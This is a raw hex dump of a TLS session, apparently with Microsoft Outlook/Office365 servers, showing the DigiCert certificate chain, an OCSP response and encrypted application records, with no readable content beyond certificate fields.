Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0,  yF)[Ro, DigiCert Inc1, www.digicert.com1 0, DigiCert Global Root G20, 210330000000Z, 310329235959Z0Y1, DigiCert Inc1301, DigiCert Global G2 TLS RSA SHA256 2020 CA10, bRBu, j0h0$, http://ocsp.digicert.com0, 4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B, 0907, 1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0, 6040, MLV_, UZ8r, 20260609071900Z0s0q0I0, 20260609070300Z, 20260616060300Z0, nW<f, rt5m, Dg-u>, _AD,, ZlJDf, y4$1, '52o, fZKw, gC)WG, 2Knq, %jeo, $Bdg, N8D1X, 7>IE, 9%]NS, OVI%, %O)Wf, kHeXd\",1f 8b d4 55 7c 05 e1 cf 94 70 38 72 b7 65 9d 9d 6b 76 0a 6a 69 34 5e d1 ce 3e ac ed 7f 67 a5 dd 86 02 ec 55 f3 d3 39 9c 74 fa 02 ec 3a 96 8d fe e6 e4 69 75 50 36 a9 3b bc 8c c6 38 f1 da b4 b9 30 2b 89 32 30 a9 b2 38 84 28 60 9b d6 f1 31 ff 09 ca e0 ec 1d 93 61 1b c7 c9 e2 24 8f 79 b2 0c 61 fd ee 2d df 23 1f 4d 4f ac 40 1b 2a b2 d1 0f fe d7 49 e4 23 ed 16 e7 45 3b 76 4c c5 59 f4 0d 43 70 65 10 52 7f bf a6 aa 02 cf e8 dc 87 aa 24 cb e7 09 8c cc fa af 7c 54 7a 88 91 7c 16 15 8b b7 a9 f7 61 85 45 21 fa 88 bf 96 70 20 2c d6 ba 70 de 3e 16 7b 85 de 62 47 35 3f c1 a9 66 b6 55 f7 55 d3 1d d9 e4 04 34 f3 97 9f 41 05 f6 de 78 0b 32 00 f7 7e d3 5e ce 89 d6 0e c1 18 3a a4 bd 02 03 01 00 01 a3 82 05 25 30 82 05 21 30 1f 06 03 55 1d 23 04 18 30 16 80 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1d 06 03 55 1d 0e 04 16 04 14 76 45 e5 c3 cb 9c fe fa 5f fe 24 55 e8 bc 60 dd be aa 93 e1 30 82 01 bd 06 03 55 1d 11 04 82 01 b4 30 82 01 b0 82 0b 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0d 2a 2e 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 2a 2e 69 6e 74 65 72 6e 61 6c 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0a 2a 2e 6c 69 76 65 2e 63 6f 6d 82 0c 2a 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 0f 2a 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 0d 2a 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 17 2a 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 1b 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6c 69 76 65 2e 6e 65 74 82 1d 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 6e 65 74 82 20 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 70 70 65 2e 6e 65 74 82 16 61 74 74 61 63 68 6d 65 6e 74 73 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1a 61 74 74 61 63 68 6d 65 6e 74 73 2d 73 64 66 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1d 63 63 73 2e 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 82 0b 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 6d 61 69 6c 2e 73 65 72 76 69 63 65 73 2e 6c 69 76 65 2e 63 6f 6d 82 0d 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 12 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 14 73 75 62 73 74 72 61 74 65 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 18 73 75 62 73 74 72 61 74 65 2d 73 64 66 2e 6f 66 66 69 63 65 2e 63 6f 6d 30 3e 06 03 55 1d 20 04 37 30 35 30 33 06 06 67 81 0c 01 02 02 30 29 30 27 06 08 2b 06 01 05 05 07 02 01 16 1b 68 74 74 70 3a 2f 2f 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 43 50 53 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 03 01 30 81 9f 06 03 55 1d 1f 04 81 97 30 81 94 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 34 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 81 87 06 08 2b 06 01 05 05 07 01 01 04 7b 30 79 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 51 06 08 2b 06 01 05 05 07 30 02 86 45 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 74 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 82 01 7d 06 0a 2b 06 01 04 01 d6 79 02 04 02 04 82 01 6d 04 82 01 69 01 67 00 76 00 c2 31 7e 57 45 19 a3 45 ee 7f 38 de b2 90 41 eb c7 c2 21 5a 22 bf 7f d5 b5 ad 76 9a d9 0e 52 cd 00 00 01 9d 02 27 fa 81 00 00 04 03 00 47 30 45 02 20 65 03 d2 b3 b9 5c 5a 3a fb 9c 23 6d 63 a4 98 27 a2 3c ff 95 9c 02 b2 86 93 fa 4b 0b a1 ff 79 f3 02 21 00 92 61 07 97 1c 23 5c 13 3a a4 38 1f 9f 19 43 c1 0e 6f 9f 06 5a 00 8a 1c dd 69 c2 4a 3a e8 4e 9e 00 75 00 d8 09 55 3b 94 4f 7a ff c8 16 19 6f 94 4f 85 ab b0 f8 fc 5e 87 55 26 0f 15 d1 2e 72 bb 45 4b 14 00 00 01 9d 02 27 fa b6 00 00 04 03 00 46 30 44 02 20 59 fb 3c ec a6 4c 86 42 f9 03 36 57 0c 90 b3 77 88 e0 61 fd 0e 50 56 d8 98 38 96 d8 9b 8f 18 98 02 20 70 90 7a 4e d1 25 44 ec e6 3d e2 a4 7b 3c 7e 1b bc 48 cd 7f 17 cb 88 71 32 24 fd 1d 05 48 33 33 00 76 00 94 4e 43 87 fa ec c1 ef 81 f3 19 24 26 a8 18 65 01 c7 d3 5f 38 02 01 3f 72 67 7d 55 37 2e 19 d8 00 00 01 9d 02 27 fa 8e 00 00 04 03 00 47 30 45 02 21 00 bd 0d 16 c1 72 d2 97 d7 e7 7a 36 0b 09 f5 ac 4b 96 90 76 78 7a ea a5 e5 dd 33 89 4d 3d 11 80 08 02 20 79 46 29 5b 52 6f b4 44 ae ca 90 48 88 e1 ae da a1 88 ad e2 b5 0a bf b7 05 37 2a d7 60 1a c6 0d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 c8 d9 9f 18 d8 2d bd 8f df d8 d5 8d d4 40 4d b2 7c 38 25 d1 73 ec 17 50 fc 69 59 6c f7 f7 26 8f 13 f7 b9 82 f0 74 dd ce 49 d3 33 cf 5f 6e 80 24 35 c8 6f 6c 26 58 76 cc 89 56 36 74 1e ec 7a 54 3b d2 b4 f5 83 72 d6 1a 17 1e 67 53 cb 35 bf 16 ba bf 0f ee dd 03 2e c8 5c 7d 8d 80 f5 1c b7 52 09 52 5f 57 ec 8d 10 dd c3 a4 e7 92 30 09 d3 46 34 b8 38 3d 79 f4 61 eb d1 75 2b 81 f5 b7 2c 63 eb c2 d5 ac b1 af 15 97 ae 4f ea 4a 04 e7 46 13 0a a2 23 8f ed 38 e5 e6 42 3e 2a 49 da ee 7f 87 2b 2f 42 10 da d2 be c1 78 d6 dd b3 d1 28 12 da c0 af 73 86 a5 a6 25 3c ae f1 cf d7 03 39 d1 42 e9 52 90 27 4b 6d af f3 41 fe f1 27 5f 1b c0 ec 3b dc 5c 30 36 87 94 28 1a 81 ff da a1 ba 0b 87 86 9f cf 9f 7b c9 74 fb 79 d8 70 c2 20 43 2b de dd 63 d1 d0 71 0a b1 75 8d a5 5e d1 de 17 1b 80 00 04 cc 30 82 04 c8 30 82 03 b0 a0 03 02 01 02 02 10 0c f5 bd 06 2b 56 02 f4 7a b8 50 2c 23 cc f0 66 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 61 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 19 30 17 06 03 55 04 0b 13 10 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 31 20 30 1e 06 03 55 04 03 13 17 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 52 6f 6f 74 20 47 32 30 1e 17 0d 32 31 30 33 33 30 30 30 30 30 30 30 5a 17 0d 33 31 30 33 32 39 32 33 35 39 35 39 5a 30 59 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 33 30 31 06 03 55 04 03 13 2a 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 47 32 20 54 4c 53 20 52 53 41 20 53 48 41 32 35 36 20 32 30 32 30 20 43 41 31 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 cc f7 10 62 4f a6 bb 63 6f ed 90 52 56 c5 6d 27 7b 7a 12 56 8a f1 f4 f9 d6 e7 e1 8f bd 95 ab f2 60 41 15 70 db 12 00 fa 27 0a b5 57 38 5b 7d b2 51 93 71 95 0e 6a 41 94 5b 35 1b fa 7b fa bb c5 be 24 30 fe 56 ef c4 f3 7d 97 e3 14 f5 14 4d cb a7 10 f2 16 ea ab 22 f0 31 22 11 61 69 90 26 ba 78 d9 97 1f e3 7d 66 ab 75 44 95 73 c8 ac ff ef 5d 0a 8a 59 43 e1 ac b2 3a 0f f3 48 fc d7 6b 37 c1 63 dc de 46 d6 db 45 fe 7d 23 fd 90 e8 51 07 1e 51 a3 5f ed 49 46 54 7f 2c 88 c5 f4 13 9c 97 15 3c 03 e8 a1 39 dc 69 0c 32 c1 af 16 57 4c 94 47 42 7c a2 c8 9c 7d e6 d4 4d 54 af 42 99 a8 c1 04 c2 77 9c d6 48 e4 ce 11 e0 2a 80 99 f0 43 70 cf 3f 76 6b d1 4c 49 ab 24 5e c2 0d 82 fd 46 a8 ab 6c 93 cc 62 52 42 75 92 f8 9a fa 5e 5e b2 b0 61 e5 1f 1f b9 7f 09 98 e8 3d fa 83 7f 47 69 a1 02 03 01 00 01 a3 82 01 82 30 82 01 7e 30 12 06 03 55 1d 13 01 01 ff 04 08 30 06 01 01 ff 02 01 00 30 1d 06 03 55 1d 0e 04 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1f 06 03 55 1d 23 04 18 30 16 80 14 4e 22 54 20 18 95 e6 e3 6e e6 0f fa fa b9 12 ed 06 17 8f 39 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 86 30 1d 06 03 55 1d 25 04 16 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 76 06 08 2b 06 01 05 05 07 01 01 04 6a 30 68 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 40 06 08 2b 06 01 05 05 07 30 02 86 34 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 74 30 42 06 03 55 1d 1f 04 3b 30 39 30 37 a0 35 a0 33 86 31 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 6c 30 3d 06 03 55 1d 20 04 36 30 34 30 0b 06 09 60 86 48 01 86 fd 6c 02 01 30 07 06 05 67 81 0c 01 01 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 08 06 06 67 81 0c 01 02 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 90 f1 70 cb 28 97 69 97 7c 74 fd c0 fa 26 7b 53 ab ad cd 65 fd ba 9c 06 9c 8a d7 5a 43 87 ed 4d 4c 56 5f ad c1 c5 b5 05 20 2e 59 d1 ff 4a f5 a0 2a d8 b0 95 ad c9 2e 4a 3b d7 a7 f6 6f 88 29 fc 30 3f 24 84 bb c3 b7 7b 93 07 2c af 87 6b 76 33 ed 00 55 52 b2 59 9e e4 b9 d0 f3 df e7 0f fe dd f8 c4 b9 10 72 81 09 04 5f cf 97 9e 2e 32 75 8e cf 9a 58 d2 57 31 7e 37 01 81 b2 66 6d 29 1a b1 66 09 6d d1 6e 90 f4 b9 fa 2f 01 14 c5 5c 56 64 01 d9 7d 87 a8 38 53 9f 8b 5d 46 6d 5c c6 27 84 81 d4 7e 8c 8c a3 9b 52 e7 c6 88 ec 37 7c 2a fb f0 55 5a 38 72 10 d8 00 13 cf 4c 73 db aa 37 35 a8 29 81 69 9c 76 bc de 18 7b 90 d4 ca cf ef 67 03 fd 04 5a 21 16 b1 ff ea 3f df dc 82 f5 eb f4 59 92 23 0d 24 2a 95 25 4c ca a1 91 e6 d4 b7 ac 87 74 b3 f1 6d a3 99 db f9 d5 bd 84 40 9f 07 98 16 00 01 db 01 00 01 d7 30 82 01 d3 0a 01 00 a0 82 01 cc 30 82 01 c8 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 b9 30 82 01 b5 30 81 9e a2 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 18 0f 32 30 32 36 30 36 30 39 30 37 31 39 30 30 5a 30 73 30 71 30 49 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 a7 c4 b8 b3 dc 5b b5 58 1e a7 d7 f1 3a c5 69 f5 6f 48 d7 89 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 02 10 05 90 cb d3 65 66 7f 41 04 a9 a2 69 0c 5b 7c 73 80 00 18 0f 32 30 32 36 30 36 30 39 30 37 30 33 30 30 5a a0 11 18 0f 32 30 32 36 30 36 31 36 30 36 30 33 30 30 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 76 dd 30 27 af 59 9a e4 dc 94 3a 02 35 71 85 9d 26 2b 99 70 69 f3 96 f5 df b7 35 9d 2d 3d aa 23 9e 6c 87 68 5a 06 c6 be 9a 49 ee 04 fa 0f 53 36 7f 0a 23 1e 54 8b 5f d8 7f e5 cf ad a2 8d 4c 6c c3 44 45 b5 9b 0b be 2b 6d ec 7c fb b9 37 3a de d1 38 98 66 28 46 a2 28 0e 77 99 48 cc 10 ee bb 08 20 5a 5d 3f 80 2a 7c 64 e4 69 92 70 a0 33 b4 fd d9 74 26 e4 c1 7d f5 88 64 4c 53 b3 bc 52 06 8c cb 04 ac 98 b5 2b 74 8c b8 1b 0d bd 01 93 b4 3e fc 37 1e e8 5b c8 13 c0 e1 2f 3e 16 51 8d e1 98 dd eb 7e b4 e5 4c 68 e0 e2 4f 9e 2b 6d f3 0d 11 9d 4f 7e 32 f8 d4 d4 1e 95 e4 78 65 04 36 ee 80 ab d6 7d df 1a 5d 29 f6 22 d7 b2 05 91 98 a2 34 a0 c3 47 f0 50 cb 04 e3 d2 56 d6 93 e0 ff 22 ea 93 af 53 51 91 07 5d a9 4d 9f cc ee 5f a1 0a c6 eb 3d 4f 21 5b e9 e1 99 4d 0d 20 dc 59 f9 6c 0c 00 01 69 03 00 18 61 04 6c b2 dc 71 6d 35 8c 45 95 60 d5 a7 ac 3f 41 d5 70 75 d4 c0 59 01 ab d7 af 51 03 78 6a 75 99 1c e4 ac 5d d4 e9 b9 86 f7 18 73 49 de 97 19 35 be ea 29 ee a7 b9 96 c8 ac 56 61 a4 a7 c0 02 ac d6 1a 7b cf 1f d5 46 e2 00 f3 0a 80 11 c9 da 36 c7 d3 70 41 3b dd 13 1c 0c 4f 9e 5e 05 36 3a 75 82 08 04 01 00 70 12 46 2d a3 ac 47 4d bf 71 9e 1a 3f 6f 80 5e c2 eb 3e 89 dd 66 b4 6e 57 3c 66 1a aa 5c 8d 74 ea 72 74 35 6d 88 5d 5d 6c f3 97 60 11 8c 3e 3a d6 d1 63 33 ce 82 76 36 ec ef 58 27 fa e1 26 f5 5d 58 50 5e 8b 0d 3a 6e 36 09 ed 2c d1 a6 a7 dc 44 67 2d 75 3e ba 9d e8 13 1a ac 50 89 cf 5f 41 44 2c d7 a0 33 93 86 03 ae d3 47 59 01 dc 5c b6 8d 95 e3 ab ee b9 34 7a 4c 7e f3 a0 42 d9 ec 91 9f b3 fd 46 30 ec 3b bf 42 30 8f 56 08 5d 24 6d de 01 ee 86 f5 42 a8 8f 5e 7a 60 d8 52 bc df 9d c9 6e 57 32 8d ee fb 86 7c 38 13 fe 79 6c 68 8c cc 31 83 88 9c 90 f4 53 2a 98 49 de b5 54 10 b5 48 7e ff 77 cb fe 51 17 c8 20 43 6f a9 fb c9 41 8f 22 82 f3 fa b1 a9 10 28 01 bb b6 e7 72 36 60 9c 87 7d 5c d3 3d ba 27 e8 19 34 98 07 1f 89 fe 71 eb d7 fb ea 5c e0 49 65 f1 c0 05 b3 7b df 49 0e 00 00 00 16 03 03 01 2e 04 00 01 2a 00 00 8c a0 01 24 00 00 00 00 94 5e 01 69 33 01 9c 4f 9b a9 c3 80 ee d9 f0 7c a9 6c 71 8c b6 29 cd 49 56 23 66 5f 19 9c 75 49 73 e7 91 82 95 a4 00 fb 34 f7 36 2b c4 c5 47 e9 28 26 97 9e 16 7d bf 3d a3 27 a6 df c6 94 2f 54 69 a5 d2 93 75 7b ba ee 29 a7 bf 2a 42 fa ed de 0f 62 62 8f 5e 62 f3 65 bf ec 91 a2 ba 02 80 bd a0 9f 35 a1 b9 d3 ca ab 18 ee 5d f0 b2 de 7b d2 bd a9 65 da 66 cd 86 d0 df 1f d9 69 75 ad e6 12 87 55 26 80 bd 91 4c 01 7f e1 24 3e e5 94 04 ac bb e2 82 2e 3e 7e ee 6f 29 a6 96 7d 90 a7 4b 2e a0 2b a9 66 8c ff 10 25 b1 cb bf ac d9 b0 f1 b5 28 41 59 c6 39 61 b4 5c 02 d0 76 d7 a5 82 82 50 43 d9 40 d5 45 ca 07 ba 4f d6 c8 23 21 e5 fe 00 bd 6d d8 9a a3 d0 5b 4e 1c 62 bd 0f 49 a4 3f 6e 16 15 ef 7a 75 cd 3b 7b 52 74 57 ac c6 e2 20 33 f5 cf 76 3c a9 fb a2 e9 25 b3 b4 40 bc 8b f5 10 45 66 d2 42 d3 29 6f 80 32 a6 35 98 43 a1 fa ab 85 82 a1 97 3f eb b9 b8 bd 5a 6c 4a 44 66 cd 11 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 5f 39 88 25 ce 3e 62 7b 59 6d 06 20 9c af 2f d0 bd dc 6d 6c c5 fb 31 ce e0 81 ab 2a 4a a6 53 68 17 03 03 00 40 00 00 00 00 00 00 00 01 5b fa 52 76 62 ff 79 34 24 31 81 34 82 e0 79 80 b1 45 b9 03 5e 0e c0 b5 bb 34 81 d1 54 e7 5d da 17 5e fb b2 d5 c5 70 23 5d d8 67 c7 1e 14 ed ce 1c f4 1f 00 40 43 1c b1 17 03 03 00 21 00 00 00 00 00 00 00 02 a1 de 75 34 80 40 1e 23 a7 ff 48 f8 5e 5c 86 cf 81 7a 03 c4 64 58 2d f7 f5 17 03 03 02 dc 00 00 00 00 00 00 00 03 cf 0f d0 7c 32 17 5b 00 89 4c f1 69 eb e2 64 f4 4d c4 c3 27 41 18 29 23 6e 3e 7e 21 24 d4 62 68 b6 a5 b7 54 7d 28 ee 48 06 5d c9 66 a7 99 04 3e 60 06 e2 69 ea c4 c7 3d 61 e4 30 16 31 6a 8b e6 c6 3c ae 03 3d 11 7a 2a 0c 86 e6 06 f4 28 d8 3a 13 89 38 ee b9 05 51 7a e0 d9 86 6b 05 ee a7 27 35 32 6f 0e ce 59 2c 4a 13 9c 54 b7 78 91 64 ef 21 cd 66 02 ac 7d ab 7e 74 78 9f f5 4d b4 3a 33 9c 74 ef 16 ca 38 2b 41 0c a3 1c 9e da 08 a0 d2 02 51 f0 0d 2c 15 90 fb 06 1a 1e ad ef 6d 07 66 5a 4b 77 cd 4e 13 3c 30 81 67 43 29 57 47 ba 9c 03 43 71 f6 c0 93 8d de 86 56 01 3b 74 5d 92 72 f3 d4 34 d1 9b 32 4b 6e 71 0a 55 a7 b9 1c da 27 5f ea f0 8c 5e 89 f0 ab 89 a4 89 f6 d3 2c 08 85 77 80 28 30 f6 d4 30 be 6e 43 4c c6 a3 0d 86 20 57 6c fe 50 34 b1 64 e1 6f 4d b6 dc 32 fc e9 49 ff d5 68 52 89 c5 45 b0 ad 19 6a 66 bd fd 1f 70 6e 2c 15 3c 4d 92 15 82 93 83 64 55 f1 c8 60 77 d5 65 29 d1 a4 4f 2d b2 7e 17 b7 ac f9 2e a1 ff 1c 70 b9 a3 98 13 37 e7 0d b8 46 94 1b dd a5 35 9a af cb 27 32 80 aa 59 16 12 38 f7 1b 5f 85 a2 37 19 4c 87 f9 37 f1 25 e6 3f 12 90 21 73 4b 7f af 73 05 32 cc bd a7 f6 91 57 01 4e 7a 8c 5a b7 25 9b 70 0a f0 48 6c b8 8e a1 21 df 4c f7 74 65 ed 68 b1 c6 2b ef a8 46 58 1c 5d 37 d6 6c 88 fe c5 6e 70 b6 bd 46 39 55 a6 c5 c3 8e 3a 3e 6d 84 2e ed e4 10 cf 45 9d 8e 8c 8d 63 89 32 99 48 b2 bd 88 15 35 06 c2 01 f4 10 d9 aa 1b 10 a6 cf 04 00 81 66 5a 0f 13 18 52 23 02 e5 ec 25 6a 65 6f bc 40 43 05 65 19 4b ae bc 87 99 ff d9 27 c0 a1 ca f2 b9 e3 37 8d 03 88 2d 9d 26 33 1b 45 d7 56 5c c6 1a c8 51 92 8e 98 ad 58 9f e7 34 f4 7d 61 96 c2 1e 12 9a 94 7a 1d 64 1f bc 9f 3a bb 91 09 32 ff 13 68 de 3a 3f fd 1b 80 e1 6e 9f c4 dd 84 55 9a e4 08 3c 01 69 4d 25 a2 9c 93 36 41 80 d4 cc 36 07 ab f4 14 72 8d 13 59 8c f9 e5 25 db b0 60 b7 f3 ea 9f 9a eb 18 62 6d 16 3d d3 f7 77 71 8e 7e a1 6a 55 1c 6d 3d 1d b7 73 1f 61 b0 24 62 fc d8 81 e1 a8 92 74 e3 d1 6d f1 85 5f 71 a9 fe 63 cc 1f 19 9f 49 cb 0a 54 ee 81 ad 81 e9 3d cb 07 09 52 25 99 c3 83 49 9c 79 f7 f3 29 d3 b2 06 fd ac c4 cd 76 ea 94 ca ec f2 fd 01 b5 7f b2 e0 e1 46 39 05 f0 ca 5e b5 d3 87 49 d3 fe 99 13 8b 64 b6 f7 7f 8a 12 2e 26 48 d6 0d 15 41 bc 52 c3 e5 0d 42 71 a6 78 e9 2e f5 07 8f 5e 02 6a 72 ea a3 bc 89 b1 17 03 03 00 d2 00 00 00 00 00 00 00 04 9b 1f 24 42 64 67 d3 fd 9f 9d 10 ee 42 3d 7f 4f d8 9a 2e 58 25 0a be 1e ef c9 36 d5 99 4d da 3e 32 b5 d4 c5 92 27 7f 49 9c 1e 31 00 3f 4e 38 44 31 58 b8 1b 4d ce fc 25 2c d5 25 a1 61 b0 11 bd 63 ec e8 c7 96 e5 cc 76 7b 79 1a c6 97 6c a9 d4 bd 2e 09 9c 18 0c 14 c7 0f f5 06 b0 8f 32 60 91 35 1f e3 82 50 dd 65 2e f4 07 91 53 01 b6 59 46 26 15 8e 12 75 0c b5 67 4d 88 76 eb 87 a0 5a d0 f2 d1 01 1a a4 39 60 fd 35 48 ee 49 7b fe aa 68 36 95 cb 63 6c 34 e2 50 7d 9f 76 ee 89 81 c9 63 ff 17 08 03 21 01 33 31 63 ae 37 66 41 d7 58 65 d5 a1 02 e8 95 cd 20 49 32 ab e5 60 67 cc 13 6b 4c da 41 9d 14 63 1d 5f c7 7f 17 03 03 00 21 00 00 00 00 00 00 00 05 77 0f 35 65 8b 4d 22 d0 3a 26 61 09 d5 da 87 c4 88 74 66 a3 67 16 a8 f6 80 17 03 03 02 cf 00 00 00 00 00 00 00 06 85 04 62 03 14 84 2a b2 5e 00 96 41 80 cf be 83 77 a4 cc ad 68 73 23 18 b9 23 a9 29 a2 bb a4 c9 35 77 00 bf 18 55 31 98 d8 28 d8 3e 21 06 ef f7 37 d4 58 fa 6b ec be 91 f8 eb a7 e6 df 18 41 81 65 cd 88 b3 ad 42 b6 ca 07 5b 75 34 5e b4 6a e7 88 b1 d2 30 f2 66 14 54 3b 90 52 2d dc 19 7a 8e 0a 73 91 60 7c 55 e8 cc 93 42 6e 4b e0 5d ba 95 5b 91 4a 53 fe b1 23 a0 80 38 10 a0 a5 b1 5a e4 38 f3 36 16 f3 91 15 6a ac e4 06 a9 ae 02 89 12 a4 04 08 8a 1c a7 2c 0b b1 41 cb f5 72 e8 ff 5a 18 48 17 e3 40 4b 3b 34 db 9c 88 aa 41 6e cb 35 9d b4 ee a7 d4 4e 51 0a 79 1f 08 68 b9 71 f7 f9 71 76 95 b8 61 43 38 b6 4a b2 a9 6b 43 60 2e 47 0a 56 b5 dd 97 fb 11 7f 5f 74 76 e2 9c 03 f1 e6 54 d5 18 dc 25 a1 61 02 ff 12 d4 f3 ac 62 c6 95 9a 63 8b 27 60 61 28 3d 2b d5 53 8b b1 e5 31 b3 18 b5 41 13 f0 f0 f4 03 bc 0d 55 d0 82 06 c1 95 9c 07 0a 95 b7 56 19 cb 21 ee 97 7f d3 4d f6 10 75 9f f7 6f f9 5c 2c 74 00 7a 43 6c c0 8a 82 5b bd 9a 8c 79 f6 84 fc e1 68 35 37 c7 e3 67 35 86 5b bc ce 9e 17 af 57 ec dd 26 95 f2 81 37 3e 49 45 cb 36 c5 50 53 a2 75 7f 54 74 82 9f 7c 3f e9 c8 d8 7e 76 e8 d7 1b fd e3 d4 e4 d9 04 43 a0 d7 6e 7d fe 04 f7 13 2a 73 04 fa 7c 23 28 ed 1d 7d 04 68 b1 f3 f1 06 c4 3d 3b 17 98 46 c0 5a 53 b2 53 08 ac 97 9a 0b c2 b9 2c 8e 39 d4 08 eb a0 cb 87 2d 6d 8e 87 3a 01 6d dd 7a cb 1f a7 f0 42 95 41 0c 6d 18 2f 75 1b 12 d1 38 89 69 8b 8a 71 88 01 24 d4 ca a1 39 89 d9 51 0d 5c 27 0b 53 a8 98 25 8c f9 5d 58 a4 a2 6d 75 12 82 40 2b 4f d9 94 f9 a8 83 56 5c 7f fb c0 dd 48 e2 6e fb 50 21 7d 9f b9 a3 c1 c2 f5 91 5c 29 47 11 68 58 65 92 b9 e7 5d f3 ca 71 49 c1 36 70 c5 24 06 52 9b b5 54 01 40 dd 4f 05 59 8f a4 05 ad e1 78 54 c7 97 e7 b7 3b 94 fb 36 a1 7b b7 86 40 18 df cf aa 59 78 3b 08 cb 3c 50 f0 fa 98 24 cd 63 67 90 e9 54 60 87 41 35 a3 7e 60 ea 72 65 e4 2d 6c 7d b7 ca 6e 76 b2 dc 30 25 c5 92 b4 6f 6c da ba df 97 1f 8f c8 68 2b 7e 6d ca f1 ed 91 20 da 2f ff 62 c7 cd a2 a9 22 c8 85 8c ee 03 41 b6 26 1e 85 05 9f c6 af 72 fa 1f e0 dc e1 b2 33 7f d5 0b 89 a7 85 c4 62 ca a2 c0 67 48 67 1d 73 74 82 40 a6 e9 ff ea 0e 27 90 29 99 6f 57 1a 95 7d e9 6d f3 30 ad b5 e5 26 cd 66 2a 49 f2 a8 43 9c 98 32 df 1b ac e0 74 96 96 5b 95 23 98 17 03 03 02 6f 00 00 00 00 00 00 00 07 45 ee 6d 1c 7c 70 4e e7 44 be ba 5e dc cd e4 f7 bf 03 ce f2 01 9c e5 2e 72 dd c8 84 47 12 0a 52 f6 74 46 43 bd 9d c0 9c 56 fe 0a 4a 0a 2f 20 7f 88 59 5e 5e 47 98 06 f9 5f af 70 a1 09 57 f2 